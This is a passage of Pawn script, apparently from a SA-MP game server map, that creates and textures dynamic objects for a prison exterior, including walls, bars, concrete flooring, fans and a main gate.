	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1038.742675, -657.762817, 32.778038, 0.000007, 0.000014, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1092.595458, -671.985473, 32.778038, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1101.164672, -671.985473, 32.778038, 0.000014, 0.000014, 89.999923, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -666.023498, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1121.004028, -660.379089, 31.028045, 0.000022, 0.000014, 89.999900, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1121.031372, -659.610900, 32.778045, 0.000014, -0.000022, 179.999786, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -653.194152, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -643.574462, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -633.934387, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -624.294433, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1121.004028, -618.638977, 31.028045, 0.000029, 0.000014, 89.999877, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1121.031372, -617.870788, 32.778045, 0.000014, -0.000029, 179.999740, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -611.444946, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -601.815429, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1121.030883, -592.386230, 32.778038, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1031.348022, -748.296020, 32.778038, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1569, -1037.003417, -748.269165, 31.028045, 0.000052, 0.000007, 179.999740, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19387, -1037.771606, -748.296508, 32.778045, 0.000007, -0.000052, -90.000312, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1044.188598, -748.296020, 32.778038, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1021.707824, -748.296020, 32.778038, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1012.563476, -750.300354, 32.778038, 0.000007, 0.000022, -114.800086, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1004.448181, -749.389892, 32.778038, 0.000007, 0.000022, -52.700107, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14842, "genintintpolicea", "copcell_bars", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.943237, -664.350158, 36.184555, -0.000012, -0.000029, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.943237, -650.579345, 36.184555, -0.000018, -0.000035, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.943237, -636.838623, 36.184555, -0.000024, -0.000039, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.943237, -623.078247, 36.184555, -0.000029, -0.000045, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.943237, -609.378051, 36.184555, -0.000036, -0.000049, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1120.943237, -595.648010, 36.184555, -0.000040, -0.000055, -129.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1095.442016, -672.058959, 36.184555, -0.000063, -0.000063, -39.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1084.582275, -672.058959, 36.184555, -0.000069, -0.000058, -39.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1033.010742, -657.829223, 36.184555, -0.000074, -0.000051, -39.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1022.111389, -657.829223, 36.184555, -0.000078, -0.000046, -39.899932, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1015.651550, -664.379272, 36.184555, -0.000077, -0.000035, 50.100036, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1015.651550, -678.118713, 36.184555, -0.000072, -0.000029, 50.100025, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1015.651550, -689.088928, 36.184555, -0.000066, -0.000024, 50.100013, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1041.698852, -748.296020, 36.278030, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1032.068481, -748.296020, 36.278030, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1022.449035, -748.296020, 36.278030, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1021.708374, -748.296020, 36.278030, 0.000007, 0.000022, 89.999946, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1012.563476, -750.300354, 36.278053, 0.000007, 0.000022, -114.800086, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19447, -1004.448181, -749.389892, 36.268054, 0.000007, 0.000022, -52.700107, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19362, -1078.041015, -670.478149, 35.897720, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19362, -1029.619628, -656.248596, 35.897720, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19362, -1026.319458, -656.248596, 35.897720, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19362, -1014.059570, -696.239074, 35.897720, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19865, -1073.375244, -671.260803, 31.007835, 0.000014, -90.000000, -0.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1073.375244, -674.852111, 31.005836, 0.000014, -90.000000, -0.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1057.594726, -671.260803, 31.007835, 0.000014, -89.999992, -0.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1057.594726, -674.852111, 31.005836, 0.000014, -89.999992, -0.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1059.593627, -671.260803, 31.007835, 0.000014, -89.999984, -0.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1059.593627, -674.852111, 31.005836, 0.000014, -89.999984, -0.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1077.875122, -671.461059, 31.007835, 0.000014, -90.000000, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1082.864868, -671.461059, 31.007835, 0.000014, -90.000000, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1087.864501, -671.461059, 31.007835, 0.000014, -90.000000, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1092.854858, -671.461059, 31.007835, 0.000014, -90.000000, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1097.854736, -671.461059, 31.007835, 0.000014, -90.000000, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1102.844482, -671.461059, 31.007835, 0.000014, -90.000000, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -597.006286, 31.007835, 0.000007, -89.999992, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -601.996032, 31.007835, 0.000007, -89.999992, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -606.995666, 31.007835, 0.000007, -89.999992, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -611.986022, 31.007835, 0.000007, -89.999992, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -616.985900, 31.007835, 0.000007, -89.999992, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -621.975646, 31.007835, 0.000007, -89.999992, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -626.974426, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -631.964172, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -636.963806, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -641.954162, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -646.954040, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -651.943786, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -656.943786, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -661.933654, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1122.490966, -666.923339, 31.007835, 0.000007, -89.999984, -0.000220, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1121.990478, -658.652648, 31.004837, 0.000007, -89.999984, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1121.990478, -616.931640, 31.004837, 0.000007, -89.999984, 89.999778, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.427734, -655.238220, 31.007835, 0.000014, -89.999969, 89.999725, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1035.437988, -655.238220, 31.007835, 0.000014, -89.999969, 89.999725, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1030.438232, -655.238220, 31.007835, 0.000014, -89.999969, 89.999725, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1025.447998, -655.238220, 31.007835, 0.000014, -89.999969, 89.999725, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1020.447998, -655.238220, 31.007835, 0.000014, -89.999969, 89.999725, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.552185, -655.238220, 31.006835, 0.000014, -89.999969, 89.999725, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -693.742431, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -688.752685, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -683.752929, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -678.762695, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -673.762695, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -668.772949, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -663.772583, 31.007835, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1015.052307, -658.783081, 31.009834, 0.000022, -89.999977, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16327, -977.480285, -625.062377, 43.845188, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16327, -1089.240600, -636.622009, 43.845188, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16327, -1122.280517, -753.982116, 37.585224, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(5838, -1062.375366, -598.896362, 41.860309, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(13295, -1058.641235, -687.462341, 37.388305, 0.000000, 0.000000, -90.400039, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14527, "sweetslites", "mp_diner_fan", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 11, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19865, -1043.402832, -693.581237, 31.007835, 0.000014, -90.000007, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1083.966064, -678.713562, 31.006835, 0.000014, -90.000007, -84.800262, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	prisonextobj = CreateDynamicObjectEx(1635, -998.216186, -692.703979, 33.761482, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(1635, -1020.700378, -738.776977, 33.761482, 0.000000, 0.000000, 53.799934, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(1372, -1008.501525, -747.774963, 31.155960, 0.000000, 0.000000, -34.700000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(17969, -1102.091186, -641.674926, 33.469562, 1.799998, 0.000000, 0.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(4227, -1011.398193, -646.678283, 32.514148, 0.000000, 0.000000, 1.200006, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(1529, -990.662841, -695.321350, 32.900707, 8.199997, 0.000000, 180.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(4227, -1118.305175, -736.875976, 33.996772, 0.000000, -2.399998, 270.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(18660, -996.333557, -706.819152, 32.536308, -3.199999, 0.000000, -36.800033, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(14791, -1109.897094, -634.420654, 32.958065, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(1216, -1002.873474, -646.820800, 31.678049, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(1216, -1005.232910, -646.890869, 31.678049, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	prisonextobj = CreateDynamicObjectEx(1216, -1007.513244, -646.890869, 31.678049, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	prisonmaingate = CreateDynamicObject(19913, -1037.32507, -588.12744, 30.62311,   0.00000, 0.00000, 178.85986);
    prisonextobj = CreateDynamicObject(2949, -988.69696, -621.49823, 30.99129,   0.00000, 0.00000, -90.78000);
    prisonextobj = CreateDynamicObject(2949, -981.97766, -628.20227, 30.97852,   0.00000, 0.00000, 89.76009);
    prisonextobj = CreateDynamicObject(2949, -982.59326, -653.23596, 31.02292,   0.00000, 0.00000, -89.69991);
    prisonextobj = CreateDynamicObject(2949, -984.09375, -653.24713, 31.02292,   0.00000, 0.00000, -89.69991);
    prisonextobj = CreateDynamicObject(2949, -997.71716, -655.02930, 30.90350,   0.00000, 0.00000, 0.00000);
    prisonextobj = CreateDynamicObject(11711, -997.69092, -654.75818, 33.26246,   0.00000, 0.00000, -89.33997);
    prisonextobj = CreateDynamicObject(2949, -997.13043, -695.90784, 31.00937,   0.00000, 0.00000, 89.93998);
    prisonextobj = CreateDynamicObject(1617, -1070.45496, -639.40466, 40.86752,   0.00000, 0.00000, 88.68001);
    prisonextobj = CreateDynamicObject(1617, -1066.06519, -639.44360, 42.87024,   0.00000, 0.00000, 88.68001);
    prisonextobj = CreateDynamicObject(1617, -1074.73669, -639.41693, 40.86752,   0.00000, 0.00000, 88.68001);
    prisonextobj = CreateDynamicObject(1617, -1079.15625, -639.42413, 45.36961,   0.00000, 0.00000, 88.68001);
    prisonextobj = CreateDynamicObject(1617, -1086.62073, -640.44086, 43.47496,   0.00000, 0.00000, 88.68001);
    prisonextobj = CreateDynamicObject(1437, -1086.10828, -616.93311, 46.46235,   0.00000, 0.00000, -89.58002);
    prisonextobj = CreateDynamicObject(1221, -1085.16528, -622.19922, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.20679, -623.20319, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.20679, -623.20319, 47.77726,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.12292, -622.18585, 47.77726,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.02905, -623.16730, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.23462, -624.18347, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.24146, -625.14441, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.30798, -626.08215, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.21936, -624.23541, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.28845, -625.23340, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.32153, -626.31311, 46.90593,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.24146, -625.14441, 47.76403,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.24146, -625.14441, 48.69520,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.23462, -624.18347, 47.80052,   0.00000, 0.00000, -2.76000);
